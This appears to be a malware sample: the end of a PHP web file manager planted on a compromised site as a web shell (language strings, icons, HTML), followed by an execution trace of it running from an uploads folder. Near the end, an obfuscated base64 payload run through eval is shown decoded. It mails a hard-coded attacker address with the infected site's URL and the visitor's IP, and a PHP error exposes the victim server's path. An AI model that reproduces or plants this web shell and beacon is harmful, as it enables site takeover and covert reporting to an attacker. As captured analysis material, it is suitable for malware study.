vytvo&#197;\x99en.", "not_created" => "Soubor \"[%1]\" nemohl b&#195;&#189;t  vytvo&#197;\x99en.", "really_delete" => "Vymazat soubor?", "deleted" => "Byly vymaz&#195;&#161;ny tyto soubory:\n[%1]", "not_deleted" => "Tyto soubory nemohly b&#195;&#189;t vytvo&#197;\x99eny:\n[%1]", "rename_file" => "P&#197;\x99ejmenuj soubory:", "renamed" => "Soubor \"[%1]\" byl p&#197;\x99ejmenov&#195;&#161;n na \"[%2]\".", "not_renamed" => "Soubor \"[%1]\" nemohl b&#195;&#189;t p&#197;\x99ejmenov&#195;&#161;n na \"[%2]\".", "move_files" => "P&#197;\x99em&#195;\xadstit tyto soubory:", "moved" => "Tyto soubory byly p&#197;\x99em&#195;\xadst&#196;\x9bny do \"[%2]\":\n[%1]", "not_moved" => "Tyto soubory nemohly b&#195;&#189;t p&#197;\x99em&#195;\xadst&#196;\x9bny do \"[%2]\":\n[%1]", "copy_files" => "Zkop&#195;\xadrovat tyto soubory:", "copied" => "Tyto soubory byly zkop&#195;\xadrov&#195;&#161;ny do \"[%2]\":\n[%1]", "not_copied" => "Tyto soubory nemohly b&#195;&#189;t zkop&#195;\xadrov&#195;&#161;ny do \"[%2]\":\n[%1]", "not_edited" => "Soubor \"[%1]\" nemohl b&#195;&#189;t otev&#197;\x99en.", "executed" => "SOubor \"[%1]\" byl spu&#197;&#161;t&#196;\x9bn :\n{%2}", "not_executed" => "Soubor \"[%1]\" nemohl b&#195;&#189;t spu&#197;&#161;t&#196;\x9bn:\n{%2}", "saved" => "Soubor \"[%1]\" byl ulo&#197;&#190;en.", "not_saved" => "Soubor \"[%1]\" nemohl b&#195;&#189;t ulo&#197;&#190;en.", "symlinked" => "Byl vyvo&#197;\x99en symbolick&#195;&#189; odkaz \"[%2]\" na soubor \"[%1]\".", "not_symlinked" => "Symbolick&#195;&#189; odkaz \"[%2]\" na soubor \"[%1]\" nemohl b&#195;&#189;t vytvo&#197;\x99en.", "permission_for" => "Pr&#195;&#161;va k \"[%1]\":", "permission_set" => "Pr&#195;&#161;va k \"[%1]\" byla zm&#196;\x9bn&#196;\x9bna na [%2].", "permission_not_set" => "Pr&#195;&#161;va k \"[%1]\" nemohla b&#195;&#189;t zm&#196;\x9bn&#196;\x9bna na [%2].", "not_readable" => "Soubor \"[%1]\" nen&#195;\xad mo&#197;&#190;no p&#197;\x99e&#196;&#141;&#195;\xadst.");
        case 'ru':
            $date_format = 'd.m.y H:i:s';
            $word_charset = 'KOI8-R';
            return array("directory" => "&#235;&#193;&#212;&#193;&#204;&#207;&#199;", "file" => "&#230;&#193;&#202;&#204;", "filename" => "&#233;&#205;&#209; &#198;&#193;&#202;&#204;&#193;", "size" => "&#242;&#193;&#218;&#205;&#197;&#210;", "permission" => "&#240;&#210;&#193;&#215;&#193;", "owner" => "&#232;&#207;&#218;&#209;&#201;&#206;", "group" => "&#231;&#210;&#213;&#208;&#208;&#193;", "other" => "&#228;&#210;&#213;&#199;&#201;&#197;", "functions" => "&#230;&#213;&#206;&#203;&#195;&#201;&#209;", "read" => "&#222;&#201;&#212;&#193;&#212;&#216;", "write" => "&#208;&#201;&#211;&#193;&#212;&#216;", "execute" => "&#215;&#217;&#208;&#207;&#204;&#206;&#201;&#212;&#216;", "create_symlink" => "&#243;&#196;&#197;&#204;&#193;&#212;&#216; &#211;&#201;&#205;&#204;&#201;&#206;&#203;", "delete" => "&#213;&#196;&#193;&#204;&#201;&#212;&#216;", "rename" => "&#208;&#197;&#210;&#197;&#201;&#205;&#197;&#206;&#207;&#215;&#193;&#212;&#216;", "move" => "&#208;&#197;&#210;&#197;&#196;&#215;&#201;&#206;&#213;&#212;&#216;", "copy" => "&#203;&#207;&#208;&#201;&#210;&#207;&#215;&#193;&#212;&#216;", "edit" => "&#210;&#197;&#196;&#193;&#203;&#212;&#201;&#210;&#207;&#215;&#193;&#212;&#216;", "download" => "&#211;&#203;&#193;&#222;&#193;&#212;&#216;", "upload" => "&#218;&#193;&#203;&#193;&#222;&#193;&#212;&#216;", "create" => "&#211;&#196;&#197;&#204;&#193;&#212;&#216;", "change" => "&#208;&#207;&#205;&#197;&#206;&#209;&#212;&#216;", "save" => "&#211;&#207;&#200;&#210;&#193;&#206;&#201;&#212;&#216;", "set" => "&#213;&#211;&#212;&#193;&#206;&#207;&#215;&#201;&#212;&#216;", "reset" => "&#211;&#194;&#210;&#207;&#211;&#201;&#212;&#216;", "relative" => "&#207;&#212;&#206;&#207;&#211;&#201;&#212;&#197;&#204;&#216;&#206;&#217;&#202; &#208;&#213;&#212;&#216; &#203; &#195;&#197;&#204;&#201;", "yes" => "&#196;&#193;", "no" => "&#206;&#197;&#212;", "back" => "&#206;&#193;&#218;&#193;&#196;", "destination" => "&#195;&#197;&#204;&#216;", "symlink" => "&#211;&#201;&#205;&#215;&#207;&#204;&#201;&#222;&#197;&#211;&#203;&#201;&#202; &#204;&#201;&#206;&#203;", "no_output" => "&#206;&#197;&#212; &#215;&#217;&#215;&#207;&#196;&#193;", "user" => "&#240;&#207;&#204;&#216;&#218;&#207;&#215;&#193;&#212;&#197;&#204;&#216;", "password" => "&#240;&#193;&#210;&#207;&#204;&#216;", "add" => "&#196;&#207;&#194;&#193;&#215;&#201;&#212;&#216;", "add_basic_auth" => "&#228;&#207;&#194;&#193;&#215;&#201;&#212;&#216; HTTP-Basic-Auth", "uploaded" => "\"[%1]\" &#194;&#217;&#204; &#218;&#193;&#203;&#193;&#222;&#197;&#206;.", "not_uploaded" => "\"[%1]\" &#206;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#218;&#193;&#203;&#193;&#222;&#209;&#212;&#216;.", "already_exists" => "\"[%1]\" &#213;&#214;&#197; &#211;&#213;&#221;&#197;&#211;&#212;&#215;&#213;&#197;&#212;.", "created" => "\"[%1]\" &#194;&#217;&#204; &#211;&#196;&#197;&#204;&#193;&#206;.", "not_created" => "\"[%1]\" &#206;&#197; &#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#211;&#196;&#197;&#204;&#193;&#212;&#216;.", "really_delete" => "&#228;&#197;&#202;&#211;&#212;&#215;&#201;&#212;&#197;&#204;&#216;&#206;&#207; &#220;&#212;&#207;&#212; &#198;&#193;&#202;&#204; &#213;&#196;&#193;&#204;&#201;&#212;&#216;?", "deleted" => "&#243;&#204;&#197;&#196;&#213;&#192;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217; &#194;&#217;&#204;&#201; &#213;&#196;&#193;&#204;&#197;&#206;&#217;:\n[%1]", "not_deleted" => "&#243;&#204;&#197;&#196;&#213;&#192;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217; &#206;&#197; &#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#213;&#196;&#193;&#204;&#201;&#212;&#216;:\n[%1]", "rename_file" => "&#240;&#197;&#210;&#197;&#201;&#205;&#197;&#206;&#207;&#215;&#217;&#215;&#193;&#192; &#198;&#193;&#202;&#204;:", "renamed" => "\"[%1]\" &#194;&#217;&#204; &#208;&#197;&#210;&#197;&#201;&#205;&#197;&#206;&#207;&#215;&#193;&#206; &#206;&#193; \"[%2]\".", "not_renamed" => "\"[%1] &#206;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#208;&#197;&#210;&#197;&#201;&#205;&#197;&#206;&#207;&#215;&#193;&#212;&#216; &#206;&#193; \"[%2]\".", "move_files" => "&#240;&#197;&#210;&#197;&#196;&#215;&#201;&#199;&#193;&#192; &#211;&#204;&#197;&#196;&#213;&#192;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217;:", "moved" => "&#243;&#204;&#197;&#196;&#213;&#192;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217; &#194;&#217;&#204;&#201; &#208;&#197;&#210;&#197;&#196;&#215;&#201;&#206;&#213;&#212;&#217; &#215; &#203;&#193;&#212;&#193;&#204;&#207;&#199; \"[%2]\":\n[%1]", "not_moved" => "&#243;&#204;&#197;&#196;&#213;&#192;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217; &#206;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#208;&#197;&#210;&#197;&#196;&#215;&#201;&#206;&#213;&#212;&#216; &#215; &#203;&#193;&#212;&#193;&#204;&#207;&#199; \"[%2]\":\n[%1]", "copy_files" => "&#235;&#207;&#208;&#201;&#210;&#213;&#192; &#211;&#204;&#197;&#196;&#213;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217;:", "copied" => "&#243;&#204;&#197;&#196;&#213;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217; &#194;&#217;&#204;&#217; &#211;&#203;&#207;&#208;&#201;&#210;&#207;&#215;&#193;&#206;&#217; &#215; &#203;&#193;&#212;&#193;&#204;&#207;&#199; \"[%2]\" :\n[%1]", "not_copied" => "&#243;&#204;&#197;&#196;&#213;&#192;&#221;&#201;&#197; &#198;&#193;&#202;&#204;&#217; &#206;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#211;&#203;&#207;&#208;&#201;&#210;&#207;&#215;&#193;&#212;&#216; &#215; &#203;&#193;&#212;&#193;&#204;&#207;&#199; \"[%2]\" :\n[%1]", "not_edited" => "\"[%1]\" &#206;&#197; &#205;&#207;&#214;&#197;&#212; &#194;&#217;&#212;&#216; &#207;&#212;&#210;&#197;&#196;&#193;&#203;&#212;&#201;&#210;&#207;&#215;&#193;&#206;.", "executed" => "\"[%1]\" &#194;&#217;&#204; &#213;&#211;&#208;&#197;&#219;&#206;&#207; &#201;&#211;&#208;&#207;&#204;&#206;&#197;&#206;:\n{%2}", "not_executed" => "\"[%1]\" &#206;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#218;&#193;&#208;&#213;&#211;&#212;&#201;&#212;&#216; &#206;&#193; &#201;&#211;&#208;&#207;&#204;&#206;&#197;&#206;&#201;&#197;:\n{%2}", "saved" => "\"[%1]\" &#194;&#217;&#204; &#211;&#207;&#200;&#210;&#193;&#206;&#197;&#206;.", "not_saved" => "\"[%1]\" &#206;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#211;&#207;&#200;&#210;&#193;&#206;&#201;&#212;&#216;.", "symlinked" => "&#243;&#201;&#205;&#204;&#201;&#206;&#203; &#211; \"[%2]\" &#206;&#193; \"[%1]\" &#194;&#217;&#204; &#211;&#196;&#197;&#204;&#193;&#206;.", "not_symlinked" => "&#238;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#211;&#196;&#197;&#204;&#193;&#212;&#216; &#211;&#201;&#205;&#204;&#201;&#206;&#203; &#211; \"[%2]\" &#206;&#193; \"[%1]\".", "permission_for" => "&#240;&#210;&#193;&#215;&#193; &#196;&#207;&#211;&#212;&#213;&#208;&#193; \"[%1]\":", "permission_set" => "&#240;&#210;&#193;&#215;&#193; &#196;&#207;&#211;&#212;&#213;&#208;&#193; \"[%1]\" &#194;&#217;&#204;&#201; &#201;&#218;&#205;&#197;&#206;&#197;&#206;&#217; &#206;&#193; [%2].", "permission_not_set" => "&#238;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#194;&#217;&#204;&#207; &#201;&#218;&#205;&#197;&#206;&#201;&#212;&#216; &#208;&#210;&#193;&#215;&#193; &#196;&#207;&#211;&#212;&#213;&#208;&#193; &#203; \"[%1]\" &#206;&#193; [%2] .", "not_readable" => "\"[%1]\" &#206;&#197;&#215;&#207;&#218;&#205;&#207;&#214;&#206;&#207; &#208;&#210;&#207;&#222;&#201;&#212;&#193;&#212;&#216;.");
        case 'en':
        default:
            $date_format = 'n/j/y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Directory", "file" => "File", "filename" => "Filename", "size" => "Size", "permission" => "Permission", "owner" => "Owner", "group" => "Group", "other" => "Others", "functions" => "Functions", "read" => "read", "write" => "write", "execute" => "execute", "create_symlink" => "create symlink", "delete" => "delete", "rename" => "rename", "move" => "move", "copy" => "copy", "edit" => "edit", "download" => "download", "upload" => "upload", "create" => "create", "change" => "change", "save" => "save", "set" => "set", "reset" => "reset", "relative" => "Relative path to target", "yes" => "Yes", "no" => "No", "back" => "back", "destination" => "Destination", "symlink" => "Symlink", "no_output" => "no output", "user" => "User", "password" => "Password", "add" => "add", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" has been uploaded.", "not_uploaded" => "\"[%1]\" could not be uploaded.", "already_exists" => "\"[%1]\" already exists.", "created" => "\"[%1]\" has been created.", "not_created" => "\"[%1]\" could not be created.", "really_delete" => "Delete these files?", "deleted" => "These files have been deleted:\n[%1]", "not_deleted" => "These files could not be deleted:\n[%1]", "rename_file" => "Rename file:", "renamed" => "\"[%1]\" has been renamed to \"[%2]\".", "not_renamed" => "\"[%1] could not be renamed to \"[%2]\".", "move_files" => "Move these files:", "moved" => "These files have been moved to \"[%2]\":\n[%1]", "not_moved" => "These files could not be moved to \"[%2]\":\n[%1]", "copy_files" => "Copy these files:", "copied" => "These files have been copied to \"[%2]\":\n[%1]", "not_copied" => "These files could not be copied to \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" can not be edited.", "executed" => "\"[%1]\" has been executed successfully:\n{%2}", "not_executed" => "\"[%1]\" could not be executed successfully:\n{%2}", "saved" => "\"[%1]\" has been saved.", "not_saved" => "\"[%1]\" could not be saved.", "symlinked" => "Symlink from \"[%2]\" to \"[%1]\" has been created.", "not_symlinked" => "Symlink from \"[%2]\" to \"[%1]\" could not be created.", "permission_for" => "Permission of \"[%1]\":", "permission_set" => "Permission of \"[%1]\" was set to [%2].", "permission_not_set" => "Permission of \"[%1]\" could not be set to [%2].", "not_readable" => "\"[%1]\" can not be read.");
    }
}
function getimage($image)
{
    switch ($image) {
        case 'file':
            return "GIF89a\x11\x00\r\x00\x91\x03\x00\x99\x99\x99\xff\xff\xff\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02-\x9c\x81\x89\xc6\r\x01\xe3j\xec\x89+\xc2\x03\xf4D\x99t\x16\x86i\xe2\x87r\xd4Hf\xaa\x83~o\x15\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\x02\x00;\x00";
        case 'folder':
            return "GIF89a\x11\x00\r\x00\x91\x03\x00\x99\x99\x99\xff\xff\xff\xcc\xcc\xcc\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02*\x9c\x8f\x99\xc0\xac\x1bb\x04\xcf\xb4\x8b\x9d\x95\xbc\v:\x00\x81@\x96&\t\x8a\xe7\xfam\xec\x99\x8eo\x19\xcf\xb4k\xb7a\x8e\x1e\xd9o(\x00\x00;\x00";
        case 'hidden_file':
            return "GIF89a\x11\x00\r\x00\x91\x03\x00\xcc\x00\x00\xff\xff\xff\x99\x99\x99\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02-\x9c\x81\x89\xc6\r\x01\xe3j\xec\x89+\xc2\x03\xf4D\x99t\x16\x86i\xe2\x87r\xd4Hf\xaa\x83~o\x15\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\x02\x00;\x00";
        case 'link':
            return "GIF89a\x11\x00\r\x00\xa2\x04\x00\x99\x99\x99\xff\xff\xff\x00\x00\x00\xcc\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00!\xf9\x04\x01\xe8\x03\x04\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x039H\n\xdc\xac0\x82@\xeb\x8bp\x8a-\xc2\x04\xd8RYM8\r\x03\xc5y&\x85\x8e,\x84\xces\xb0\xc5\nM\x8f 6\x05/[\xa7'\x01\xa6`\xc4\xcc\x883l\xc1,&\x87\x94\x98\x00\x00;\x00";
        case 'smiley':
            return "GIF89a\x11\x00\r\x00\x91\x02\x00\x00\x00\x00\xff\xff\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x01\xe8\x03\x02\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02,\x94\x8f\xa9\x02\xed\xb0\f\x08\xb3\xd25\x83\xde\x1a\xa6\x076_\xd5P\xa5x\x94\x1c\x87J\xe4vzi\x07wJf\xe22\x82\xb3\x11\x13\xfa\t\x0f\x05\x00;\x00";
        case 'arrow':
            return "GIF89a\x11\x00\r\x00\x80\x01\x00\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\n\x00\x01\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02\x1d\x8c\x0fp\xcb\xa8\rC\x8apRf\xaf\xd3+\xe7\xfa\x18I\x88\x8d\xe6\x08\x9e\xa8\xb6\xb2\$\xc7\x14\x00;";
    }
}
function html_header()
{
    global $site_charset;
    echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset={$site_charset}" />

<title>webadmin.php</title>

<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
\tif (document && document.forms[0] && document.forms[0].elements['focus']) {
\t\tdocument.forms[0].elements['focus'].value = name;
\t}
}
//-->
</script>

</head>
<body>


END;
}
function html_footer()
{
    echo "</body>\r\n</html>";
}
function notice($phrase)
{
    global $cols;
    $args = func_get_args();
    array_shift($args);
    return '<tr id="notice">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
function error($phrase)
{
    global $cols;
    $args = func_get_args();
    array_shift($args);
    return '<tr id="error">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
?>
<font color ="#FFFFFF">
<?php 
$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gJHdlYi4kaW5qOyAkYm9keSA9ICJCb3NzLCB0aGVyZSB3YXMgYW4gaW5qZWN0ZWQgdGFyZ2V0IG9uICR0YXJnZXQgYnkgJHZpc2l0b3IiOyBtYWlsKCJkYW5oY2hvaGFja0B5YWhvby5jb20iLCJGeGM5OXNoIGluamVjdGVkIHRhcmdldCBvbiBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciIsICIkYm9keSIpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBzZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOw==";
eval /* PHPDeobfuscator eval output */ {
    $visitcount = $HTTP_COOKIE_VARS["visits"];
    if ($visitcount == "") {
        $visitcount = 0;
        $visitor = $_SERVER["REMOTE_ADDR"];
        $web = $_SERVER["HTTP_HOST"];
        $inj = $_SERVER["REQUEST_URI"];
        $target = $web . $inj;
        $body = "Boss, there was an injected target on {$target} by {$visitor}";
        mail("danhchohack@yahoo.com", "Fxc99sh injected target on http://{$target} by {$visitor}", "{$body}");
    } else {
        $visitcount;
    }
    setcookie("visits", $visitcount);
};
?><font color ="#FFFFFF">
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/depnet/domains/dep.net.vn/public_html/tmp/type.php:337) in <b>/home/depnet/domains/dep.net.vn/public_html/tmp/type.php(2605) : eval()'d code</b> on line <b>1</b><br />

Execution traces

data/traces/5ef4fce235b749cfa333dd5ccbda4878_trace-1676252825.2852.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:47:31.183034]
1	0	1	0.000160	393464
1	3	0	0.001987	788872	{main}	1		/var/www/html/uploads/up.php	0	0
1		A						/var/www/html/uploads/up.php	119	$lang = 'auto'
1		A						/var/www/html/uploads/up.php	126	$site_charset = 'auto'
1		A						/var/www/html/uploads/up.php	131	$homedir = './'
1		A						/var/www/html/uploads/up.php	135	$editcols = 80
1		A						/var/www/html/uploads/up.php	136	$editrows = 25
1		A						/var/www/html/uploads/up.php	154	$htaccess = '.htaccess'
1		A						/var/www/html/uploads/up.php	155	$htpasswd = '.htpasswd'
2	4	0	0.002104	788872	get_magic_quotes_gpc	0		/var/www/html/uploads/up.php	159	0
2	4	1	0.002117	788872
2	4	R			FALSE
2	5	0	0.002132	788872	array_key_exists	0		/var/www/html/uploads/up.php	165	2	'image'	[]
2	5	1	0.002146	788936
2	5	R			FALSE
2	6	0	0.002160	788872	function_exists	0		/var/www/html/uploads/up.php	170	1	'lstat'
2	6	1	0.002173	788912
2	6	R			TRUE
1		A						/var/www/html/uploads/up.php	176	$delim = '/'
2	7	0	0.002197	788872	function_exists	0		/var/www/html/uploads/up.php	178	1	'php_uname'
2	7	1	0.002210	788912
2	7	R			TRUE
2	8	0	0.002223	788872	substr	0		/var/www/html/uploads/up.php	179	3	'Linux'	0	3
2	8	1	0.002236	789000
2	8	R			'Lin'
2	9	0	0.002249	788904	strtoupper	0		/var/www/html/uploads/up.php	179	1	'Lin'
2	9	1	0.002261	788968
2	9	R			'LIN'
1		A						/var/www/html/uploads/up.php	179	$win = FALSE
2	10	0	0.002287	788872	dirname	0		/var/www/html/uploads/up.php	187	1	'/var/www/html/uploads/up.php'
2	10	1	0.002300	788960
2	10	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/up.php	187	$scriptdir = '/var/www/html/uploads'
2	11	0	0.002326	788928	relative2absolute	1		/var/www/html/uploads/up.php	193	2	'./'	'/var/www/html/uploads'
3	12	0	0.002340	788928	path_is_relative	1		/var/www/html/uploads/up.php	1075	1	'./'
4	13	0	0.002353	788952	substr	0		/var/www/html/uploads/up.php	1089	3	'./'	0	1
4	13	1	0.002367	789048
4	13	R			'.'
3	12	1	0.002382	788952
3	12	R			TRUE
3	14	0	0.002395	788952	addslash	1		/var/www/html/uploads/up.php	1076	1	'/var/www/html/uploads'
4	15	0	0.002407	788976	substr	0		/var/www/html/uploads/up.php	1065	3	'/var/www/html/uploads'	-1	1
4	15	1	0.002420	789072
4	15	R			's'
3	14	1	0.002435	789024
3	14	R			'/var/www/html/uploads/'
3	16	0	0.002450	789032	simplify_path	1		/var/www/html/uploads/up.php	1076	1	'/var/www/html/uploads/./'
4	17	0	0.002464	789032	file_exists	0		/var/www/html/uploads/up.php	1116	1	'/var/www/html/uploads/./'
4	17	1	0.002483	789072
4	17	R			TRUE
4	18	0	0.002496	789032	function_exists	0		/var/www/html/uploads/up.php	1116	1	'realpath'
4	18	1	0.002509	789072
4	18	R			TRUE
4	19	0	0.002522	789032	realpath	0		/var/www/html/uploads/up.php	1116	1	'/var/www/html/uploads/./'
4	19	1	0.002535	789112
4	19	R			'/var/www/html/uploads'
4	20	0	0.002550	789032	realpath	0		/var/www/html/uploads/up.php	1117	1	'/var/www/html/uploads/./'
4	20	1	0.002562	789112
4	20	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/up.php	1117	$path = '/var/www/html/uploads'
4	21	0	0.002586	789080	is_dir	0		/var/www/html/uploads/up.php	1118	1	'/var/www/html/uploads'
4	21	1	0.002601	789144
4	21	R			TRUE
4	22	0	0.002614	789104	addslash	1		/var/www/html/uploads/up.php	1119	1	'/var/www/html/uploads'
5	23	0	0.002626	789104	substr	0		/var/www/html/uploads/up.php	1065	3	'/var/www/html/uploads'	-1	1
5	23	1	0.002639	789200
5	23	R			's'
4	22	1	0.002653	789152
4	22	R			'/var/www/html/uploads/'
3	16	1	0.002667	789104
3	16	R			'/var/www/html/uploads/'
2	11	1	0.002681	789048
2	11	R			'/var/www/html/uploads/'
1		A						/var/www/html/uploads/up.php	193	$homedir = '/var/www/html/uploads/'
2	24	0	0.002705	789048	array_key_exists	0		/var/www/html/uploads/up.php	195	2	'dir'	[]
2	24	1	0.002719	789112
2	24	R			FALSE
1		A						/var/www/html/uploads/up.php	195	$dir = '/var/www/html/uploads/'
2	25	0	0.002743	789048	array_key_exists	0		/var/www/html/uploads/up.php	197	2	'olddir'	[]
2	25	1	0.002762	789112
2	25	R			FALSE
2	26	0	0.002775	789048	addslash	1		/var/www/html/uploads/up.php	201	1	'/var/www/html/uploads/'
3	27	0	0.002788	789048	substr	0		/var/www/html/uploads/up.php	1065	3	'/var/www/html/uploads/'	-1	1
3	27	1	0.002807	789144
3	27	R			'/'
2	26	1	0.002821	789048
2	26	R			'/var/www/html/uploads/'
2	28	0	0.002835	789048	simplify_path	1		/var/www/html/uploads/up.php	201	1	'/var/www/html/uploads/'
3	29	0	0.002848	789048	file_exists	0		/var/www/html/uploads/up.php	1116	1	'/var/www/html/uploads/'
3	29	1	0.002863	789088
3	29	R			TRUE
3	30	0	0.002876	789048	function_exists	0		/var/www/html/uploads/up.php	1116	1	'realpath'
3	30	1	0.002889	789088
3	30	R			TRUE
3	31	0	0.002902	789048	realpath	0		/var/www/html/uploads/up.php	1116	1	'/var/www/html/uploads/'
3	31	1	0.002914	789128
3	31	R			'/var/www/html/uploads'
3	32	0	0.002928	789048	realpath	0		/var/www/html/uploads/up.php	1117	1	'/var/www/html/uploads/'
3	32	1	0.002940	789128
3	32	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/up.php	1117	$path = '/var/www/html/uploads'
3	33	0	0.002964	789096	is_dir	0		/var/www/html/uploads/up.php	1118	1	'/var/www/html/uploads'
3	33	1	0.002976	789136
3	33	R			TRUE
3	34	0	0.002988	789096	addslash	1		/var/www/html/uploads/up.php	1119	1	'/var/www/html/uploads'
4	35	0	0.003000	789096	substr	0		/var/www/html/uploads/up.php	1065	3	'/var/www/html/uploads'	-1	1
4	35	1	0.003014	789192
4	35	R			's'
3	34	1	0.003027	789144
3	34	R			'/var/www/html/uploads/'
2	28	1	0.003041	789096
2	28	R			'/var/www/html/uploads/'
1		A						/var/www/html/uploads/up.php	201	$directory = '/var/www/html/uploads/'
1		A						/var/www/html/uploads/up.php	203	$files = []
1		A						/var/www/html/uploads/up.php	204	$action = ''
2	36	0	0.003087	789096	array_key_exists	0		/var/www/html/uploads/up.php	218	2	'num'	[]
2	36	1	0.003101	789160
2	36	R			FALSE
2	37	0	0.003114	789096	array_key_exists	0		/var/www/html/uploads/up.php	227	2	'focus'	[]
2	37	1	0.003128	789160
2	37	R			FALSE
2	38	0	0.003141	789096	sizeof	0		/var/www/html/uploads/up.php	237	1	[]
2	38	1	0.003153	789128
2	38	R			0
1		A						/var/www/html/uploads/up.php	237	$action = ''
